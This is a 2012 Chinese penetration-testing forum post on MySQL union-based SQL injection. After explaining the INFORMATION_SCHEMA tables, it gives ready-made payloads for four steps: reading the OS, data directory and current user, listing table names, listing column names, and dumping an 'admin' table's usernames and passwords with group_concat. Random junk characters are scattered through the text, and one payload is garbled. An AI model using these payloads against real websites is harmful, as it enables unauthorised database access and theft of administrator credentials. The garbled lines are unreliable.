中国网络渗透测试联盟

标题: mysql常规注入 [打印本页]

作者: admin    时间: 2012-9-13 17:48
标题: mysql常规注入
本文介绍MYSQL盲注的一些语句和方法# D" B( ^; W. j! q, l
; Q( r9 Z% F* P7 x$ G1 ~( U0 T
学习盲注前先了解下 IFORMATION_SCHEMA 库% z) ^! W, j0 u- g# M. \# M
3 g; S; }5 {! A) z) U. ~' `/ u
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有, `5 W" h7 o8 |; q- w! E4 ^
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。' j5 Q& O. v: ]5 Z8 V
1.得到所有数据库名:
( O) C5 K+ Q; A- l|SCHEMATA ->存储数据库名的表3 F6 }+ ~/ @; H6 G
|---字段:SCHEMA_NAME ->数据库名称+ ]' v% f- d3 [, B# ]
: l% S8 r* P6 b" s  M% T' T
|TABLES ->存储表名$ _, F" F% [. g3 T8 W3 @
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名- B; R* s5 f* Q4 e/ ]5 B' V
|---字段:TABLE_NAME ->存储表的表名
+ Q9 |! o$ N6 I. S1 v! A
9 y* j- p9 `( ^$ E' L. Z|COLUMNS ->存储的字段名表
: W- L$ e  Q. l8 A4 x+ p|---字段:TABLE_SCHEMA ->该字段所属数据库名
: x0 }; w: r# }$ Q0 n|---字段:TABLE_NAME ->存储所属表的名称
- E& g3 z/ @$ W1 r$ {
+ v" n2 Y+ k9 k|---字段:COLUMN_NAME ->该字段的名称1 F3 ]6 u% J5 Y5 a# }3 C0 I
' Y/ Z8 W4 G1 M& m
# A  ]! d  r* J/ Z& R2 F

; x& l0 \1 @! I2 F###########################################################################
$ w  L& v8 X0 ]. L% j
0 K6 Y' N8 F" z$ d4 G0x001 获取系统信息:! {. ?/ C: r( {, _0 G& }  {
, X9 ?5 x# X5 \: }3 m. \
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
) I7 t% `3 ~& L) A
0 c4 D2 J8 ?! q1 G2 q: s' ?/*" n) Y( P% C+ L! r8 |% b& I
7 d( p/ P6 f0 J9 ^3 ?1 E2 g
@@global.version_compile_os 获取系统版本
) n. `1 G9 u& q  X4 e1 z2 b$ V7 z  L, q3 ], f8 N9 l3 D
@@datadir 数据库路径# ^+ q' |/ p& o) ]
database() 当前数据库名称: z" G7 k# X, K6 Z2 I7 m
0x3c62723e 换行HEX值/ m# `: i4 r" H7 E# v' f, v$ N
5 }% r0 ]) X: k9 w4 E. s5 ~& |6 B
*/
' C+ N* v$ R) R% X+ O% h1 C+ ?' e7 g) p1 Z3 C
9 {) N) b, m$ ]" c

* O! x3 d" l5 f7 ~######################################################################
$ K. W' Q! R5 d0 }  n% W& G: `( @1 w+ G" c! f
0x002 获取表名/ P' L, z& ?% r  U8 {5 }$ K+ x
7 W; T9 g/ D4 l! _8 e; S3 p
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*3 q; M  q/ O4 b3 R5 O# w

) l( P8 v% b, ?% ? $ k  j& {% G! e" A& |
. C5 k, N/ s2 p; a
/*
; {' b$ {3 f( l/ ^5 o: E1 `( Z8 U( q: g
0x67617264656e 为当前数据库名0 O3 m1 N* W- i! L, B- i
2 N; E5 }! M4 E& v7 L- Y
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名6 u  F5 _# q, U2 n# v
: K9 W8 ~. k- b
*/
5 ]% `, I9 |7 w+ ]6 i. S* p4 [. b+ I* Q
######################################################################3 ?9 ]8 [  T9 s/ g: N. Q

! {2 F. Z8 v. V8 n& q" e % J) I* j! f  |1 l5 ?6 U
, Y1 h  y1 [9 h- @: x
0x003 获取字段
7 m5 C8 V% b. h  A8 M. f, q# O6 u( H9 T" b- t
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*, |4 T, x1 f# l6 O, K+ p7 Y" @7 q
1 ]/ P2 N& {" g. u4 n8 w5 h
/*
2 ?2 n' o# v+ s$ Y$ ~) a6 {
% i, ^- O; a" b+ q) e! c- h6 r+ pgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段) ]7 G9 W7 O' r7 c. d; t3 ^, m9 V

* E) S, r( K8 B# Z( Q( @' p0x61646d696e ->选择一个表7 x  _0 J/ U6 O! |' t9 V# U
3 L6 V+ @' V8 M6 Q  \& ?
0x67617264656e ->数据库名* m2 O) m2 m# L1 p8 e
$ h* L9 t5 h) b; B
*/
5 e' E* q5 R: }% N# ^& v  o6 N9 {- g. W, U0 Y( x
#####################################################################
$ P1 ?. f& Q. c9 ?6 s+ o
5 y7 v3 c' A, e% H" n. C
, X% I# a  j) c8 @3 h9 _! P2 T7 a' A& ^4 R
0x004 获取数据1 g/ u, b7 A. i# a

6 S, b; ~% {1 w7 H1 x* Bunion select 1,2,3" W- u! R4 P) @7 v! w- p# Q. l
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 K# T8 U! y) z) ?4 s
, Q. s; Z2 ~2 V5 d) g6 j. Junion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin7 H( M$ [0 @8 z% i, R' v
, ?' B" T. a' o. f- K
, Z8 O5 a3 a) U3 ~& G& a

" x- v4 C2 q! s8 y; Q5 q* I/*
8 ]! O) Y# v' i' d" T8 D
  ~1 f' y( R8 n6 g; [% R0x3c62723e 换行符号HEX编码
& J/ o7 G3 }1 F) M9 o/ v8 F% G6 \* x- C) `0 H1 y  \
group_concat 同时获得该字段所有数据0 @2 L9 a( j4 B4 c
9 Z* u; ?  a" j
*/$ r6 R* L. \* {# H: p' N- r

0 |- W& j9 y: X1 j$ Y- v* O8 h/ i5 d




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2